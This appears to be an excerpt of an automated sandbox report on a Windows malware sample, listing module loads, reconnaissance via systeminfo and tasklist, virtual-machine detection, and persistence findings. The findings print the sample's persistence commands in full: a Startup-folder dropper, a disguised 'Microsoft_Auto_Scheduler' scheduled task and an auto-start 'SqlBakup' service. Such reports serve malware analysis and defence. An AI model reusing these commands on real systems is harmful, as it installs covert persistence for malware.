      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: urlmon.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: iertutil.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: srvcli.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: netutils.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: windows.staterepositoryps.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wintypes.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: appresolver.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: bcp47langs.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: slc.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sppc.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: onecorecommonproxystub.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
      Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: taskschd.dllJump to behavior
      Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: xmllite.dllJump to behavior
      Source: C:\Windows\SysWOW64\systeminfo.exeSection loaded: mpr.dllJump to behavior
      Source: C:\Windows\SysWOW64\systeminfo.exeSection loaded: framedynos.dllJump to behavior
      Source: C:\Windows\SysWOW64\systeminfo.exeSection loaded: version.dllJump to behavior
      Source: C:\Windows\SysWOW64\systeminfo.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Windows\SysWOW64\systeminfo.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Windows\SysWOW64\systeminfo.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Windows\SysWOW64\systeminfo.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\SysWOW64\systeminfo.exeSection loaded: amsi.dllJump to behavior
      Source: C:\Windows\SysWOW64\systeminfo.exeSection loaded: userenv.dllJump to behavior
      Source: C:\Windows\SysWOW64\systeminfo.exeSection loaded: profapi.dllJump to behavior
      Source: C:\Windows\SysWOW64\find.exeSection loaded: ulib.dllJump to behavior
      Source: C:\Windows\SysWOW64\find.exeSection loaded: fsutilext.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmdext.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: version.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: mpr.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: framedynos.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: dbghelp.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: srvcli.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: netutils.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: winsta.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: amsi.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: userenv.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: profapi.dllJump to behavior
      Source: C:\Windows\SysWOW64\find.exeSection loaded: ulib.dllJump to behavior
      Source: C:\Windows\SysWOW64\find.exeSection loaded: fsutilext.dllJump to behavior
      Source: C:\Windows\SysWOW64\systeminfo.exeSection loaded: mpr.dllJump to behavior
      Source: C:\Windows\SysWOW64\systeminfo.exeSection loaded: framedynos.dllJump to behavior
      Source: C:\Windows\SysWOW64\systeminfo.exeSection loaded: version.dllJump to behavior
      Source: C:\Windows\SysWOW64\systeminfo.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Windows\SysWOW64\systeminfo.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Windows\SysWOW64\systeminfo.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Windows\SysWOW64\systeminfo.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\SysWOW64\systeminfo.exeSection loaded: amsi.dllJump to behavior
      Source: C:\Windows\SysWOW64\systeminfo.exeSection loaded: userenv.dllJump to behavior
      Source: C:\Windows\SysWOW64\systeminfo.exeSection loaded: profapi.dllJump to behavior
      Source: C:\Windows\SysWOW64\find.exeSection loaded: ulib.dll
      Source: C:\Windows\SysWOW64\find.exeSection loaded: fsutilext.dll
      Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dll
      Source: C:\Windows\System32\cmd.exeSection loaded: kernel.appcore.dll
      Source: C:\Windows\System32\cmd.exeSection loaded: uxtheme.dll
      Source: C:\Windows\System32\cmd.exeSection loaded: windows.storage.dll
      Source: C:\Windows\System32\cmd.exeSection loaded: wldp.dll
      Source: C:\Windows\System32\cmd.exeSection loaded: propsys.dll
      Source: C:\Windows\System32\cmd.exeSection loaded: profapi.dll
      Source: C:\Windows\System32\cmd.exeSection loaded: edputil.dll
      Source: C:\Windows\System32\cmd.exeSection loaded: urlmon.dll
      Source: C:\Windows\System32\cmd.exeSection loaded: iertutil.dll
      Source: C:\Windows\System32\cmd.exeSection loaded: srvcli.dll
      Source: C:\Windows\System32\cmd.exeSection loaded: netutils.dll
      Source: C:\Windows\System32\cmd.exeSection loaded: windows.staterepositoryps.dll
      Source: C:\Windows\System32\cmd.exeSection loaded: policymanager.dll
      Source: C:\Windows\System32\cmd.exeSection loaded: msvcp110_win.dll
      Source: C:\Windows\System32\cmd.exeSection loaded: sspicli.dll
      Source: C:\Windows\System32\cmd.exeSection loaded: wintypes.dll
      Source: C:\Windows\System32\cmd.exeSection loaded: appresolver.dll
      Source: C:\Windows\System32\cmd.exeSection loaded: bcp47langs.dll
      Source: C:\Windows\System32\cmd.exeSection loaded: slc.dll
      Source: C:\Windows\System32\cmd.exeSection loaded: userenv.dll
      Source: C:\Windows\System32\cmd.exeSection loaded: sppc.dll
      Source: C:\Windows\System32\cmd.exeSection loaded: onecorecommonproxystub.dll
      Source: C:\Windows\System32\cmd.exeSection loaded: onecoreuapcommonproxystub.dll
      Source: C:\Windows\System32\cmd.exeSection loaded: pcacli.dll
      Source: C:\Windows\System32\cmd.exeSection loaded: mpr.dll
      Source: C:\Windows\System32\cmd.exeSection loaded: sfc_os.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: version.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: kernel.appcore.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: uxtheme.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: sxs.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: vbscript.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: amsi.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: userenv.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: profapi.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: wldp.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: msasn1.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: cryptsp.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: rsaenh.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: cryptbase.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: msisip.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: wshext.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: scrobj.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: mpr.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: scrrun.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: windows.storage.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: propsys.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: edputil.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: urlmon.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: iertutil.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: srvcli.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: netutils.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: windows.staterepositoryps.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: sspicli.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: wintypes.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: appresolver.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: bcp47langs.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: slc.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: sppc.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: onecorecommonproxystub.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: onecoreuapcommonproxystub.dll
      Source: C:\Windows\SysWOW64\timeout.exeSection loaded: version.dll
      Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dll
      Source: C:\Windows\System32\tasklist.exeSection loaded: version.dll
      Source: C:\Windows\System32\tasklist.exeSection loaded: mpr.dll
      Source: C:\Windows\System32\tasklist.exeSection loaded: framedynos.dll
      Source: C:\Windows\System32\tasklist.exeSection loaded: dbghelp.dll
      Source: C:\Windows\System32\tasklist.exeSection loaded: sspicli.dll
      Source: C:\Windows\System32\tasklist.exeSection loaded: srvcli.dll
      Source: C:\Windows\System32\tasklist.exeSection loaded: netutils.dll
      Source: C:\Windows\System32\tasklist.exeSection loaded: sspicli.dll
      Source: C:\Windows\System32\tasklist.exeSection loaded: kernel.appcore.dll
      Source: C:\Windows\System32\tasklist.exeSection loaded: wbemcomn.dll
      Source: C:\Windows\System32\tasklist.exeSection loaded: winsta.dll
      Source: C:\Windows\System32\tasklist.exeSection loaded: amsi.dll
      Source: C:\Windows\System32\tasklist.exeSection loaded: userenv.dll
      Source: C:\Windows\System32\tasklist.exeSection loaded: profapi.dll
      Source: C:\Windows\System32\find.exeSection loaded: ulib.dll
      Source: C:\Windows\System32\find.exeSection loaded: fsutilext.dll
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeSection loaded: apphelp.dll
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeSection loaded: netapi32.dll
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeSection loaded: wininet.dll
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeSection loaded: samcli.dll
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeSection loaded: dsrole.dll
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeSection loaded: netutils.dll
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeSection loaded: cryptsp.dll
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeSection loaded: rsaenh.dll
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeSection loaded: cryptbase.dll
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeSection loaded: kernel.appcore.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: version.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: mpr.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: framedynos.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: dbghelp.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: srvcli.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: netutils.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: kernel.appcore.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: wbemcomn.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: winsta.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: amsi.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: userenv.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: profapi.dll
      Source: C:\Windows\SysWOW64\find.exeSection loaded: ulib.dll
      Source: C:\Windows\SysWOW64\find.exeSection loaded: fsutilext.dll
      Source: C:\Windows\SysWOW64\timeout.exeSection loaded: version.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: version.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: mpr.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: framedynos.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: dbghelp.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: srvcli.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: netutils.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: kernel.appcore.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: wbemcomn.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: winsta.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: amsi.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: userenv.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: profapi.dll
      Source: C:\Windows\SysWOW64\find.exeSection loaded: ulib.dll
      Source: C:\Windows\SysWOW64\find.exeSection loaded: fsutilext.dll
      Source: C:\Windows\SysWOW64\timeout.exeSection loaded: version.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: version.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: mpr.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: framedynos.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: dbghelp.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: srvcli.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: netutils.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: kernel.appcore.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: wbemcomn.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: winsta.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: amsi.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: userenv.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: profapi.dll
      Source: C:\Windows\SysWOW64\find.exeSection loaded: ulib.dll
      Source: C:\Windows\SysWOW64\find.exeSection loaded: fsutilext.dll
      Source: C:\Windows\SysWOW64\timeout.exeSection loaded: version.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: version.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: mpr.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: framedynos.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: dbghelp.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: srvcli.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: netutils.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: kernel.appcore.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: wbemcomn.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: winsta.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: amsi.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: userenv.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: profapi.dll
      Source: C:\Windows\SysWOW64\find.exeSection loaded: ulib.dll
      Source: C:\Windows\SysWOW64\find.exeSection loaded: fsutilext.dll
      Source: C:\Windows\SysWOW64\timeout.exeSection loaded: version.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: version.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: mpr.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: framedynos.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: dbghelp.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: srvcli.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: netutils.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: kernel.appcore.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: wbemcomn.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: winsta.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: amsi.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: userenv.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: profapi.dll
      Source: C:\Windows\SysWOW64\find.exeSection loaded: ulib.dll
      Source: C:\Windows\SysWOW64\find.exeSection loaded: fsutilext.dll
      Source: C:\Windows\SysWOW64\timeout.exeSection loaded: version.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: version.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: mpr.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: framedynos.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: dbghelp.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: srvcli.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: netutils.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: kernel.appcore.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: wbemcomn.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: winsta.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: amsi.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: userenv.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: profapi.dll
      Source: C:\Windows\SysWOW64\find.exeSection loaded: ulib.dll
      Source: C:\Windows\SysWOW64\find.exeSection loaded: fsutilext.dll
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\systeminfo.exe systeminfo
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /v /fo csv
      Source: Window RecorderWindow detected: More than 3 window changes detected
      Source: lEUy79aLAW.exeStatic file information: File size 1257984 > 1048576
      Source: lEUy79aLAW.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
      Source: lEUy79aLAW.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
      Source: lEUy79aLAW.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
      Source: lEUy79aLAW.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
      Source: lEUy79aLAW.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
      Source: lEUy79aLAW.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
      Source: lEUy79aLAW.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
      Source: lEUy79aLAW.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
      Source: lEUy79aLAW.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
      Source: lEUy79aLAW.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
      Source: lEUy79aLAW.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
      Source: lEUy79aLAW.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
      Source: lEUy79aLAW.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A600BB LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,0_2_00A600BB
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A51557 push ecx; ret 0_2_00A5156A
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A51BB6 push ecx; ret 0_2_00A51BC9
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C1D3C1 push edi; retf 42_2_00C1D3C3
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C1D3FB push edi; retf 42_2_00C1D3FC
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C1D352 push ebp; retf 42_2_00C1D359
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C1D4BA push edi; retf 42_2_00C1D4BB
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C61557 push ecx; ret 42_2_00C6156A
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C1DA55 push 70406856h; iretd 42_2_00C1DA5A
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C61BB6 push ecx; ret 42_2_00C61BC9

      Persistence and Installation Behavior

      barindex
      Sample is not signed and drops a device driver
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeFile created: C:\Windows\SysMain.sysJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeFile created: C:\Users\user\AppData\N-Save.sysJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeJump to dropped file

      Boot Survival

      barindex
      Drops PE files to the startup folder
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeJump to dropped file
      Uses schtasks.exe or at.exe to add and modify task schedules
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /sc minute /mo 6 /tn "Microsoft_Auto_Scheduler" /tr "'C:\Users\user\AppData\S-2153.bat'" /f
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe\:Zone.Identifier:$DATAJump to behavior
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe\:Zone.Identifier:$DATAJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\sc.exe sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=auto

      Hooking and other Techniques for Hiding and Protection

      barindex
      Uses known network protocols on non-standard ports
      Source: unknownNetwork traffic detected: HTTP traffic on port 49705 -> 3586
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_00A39908 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,0_2_00A39908
      Source: C:\Windows\SysWOW64\tasklist.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\systeminfo.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\systeminfo.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\tasklist.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\SysWOW64\tasklist.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\SysWOW64\tasklist.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\SysWOW64\tasklist.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\SysWOW64\tasklist.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\SysWOW64\tasklist.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\SysWOW64\tasklist.exeProcess information set: NOOPENFILEERRORBOX

      Malware Analysis System Evasion

      barindex
      Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
      Source: C:\Windows\SysWOW64\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
      Source: C:\Windows\SysWOW64\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
      Source: C:\Windows\SysWOW64\wscript.exeWindow found: window name: WSH-TimerJump to behavior
      Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-Timer
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeAPI coverage: 7.8 %
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeAPI coverage: 2.4 %
      Source: C:\Windows\SysWOW64\timeout.exe TID: 7196Thread sleep count: 120 > 30
      Source: C:\Windows\SysWOW64\timeout.exe TID: 7700Thread sleep count: 130 > 30
      Source: C:\Windows\SysWOW64\timeout.exe TID: 7824Thread sleep count: 127 > 30
      Source: C:\Windows\SysWOW64\timeout.exe TID: 7960Thread sleep count: 131 > 30
      Source: C:\Windows\SysWOW64\timeout.exe TID: 8080Thread sleep count: 131 > 30
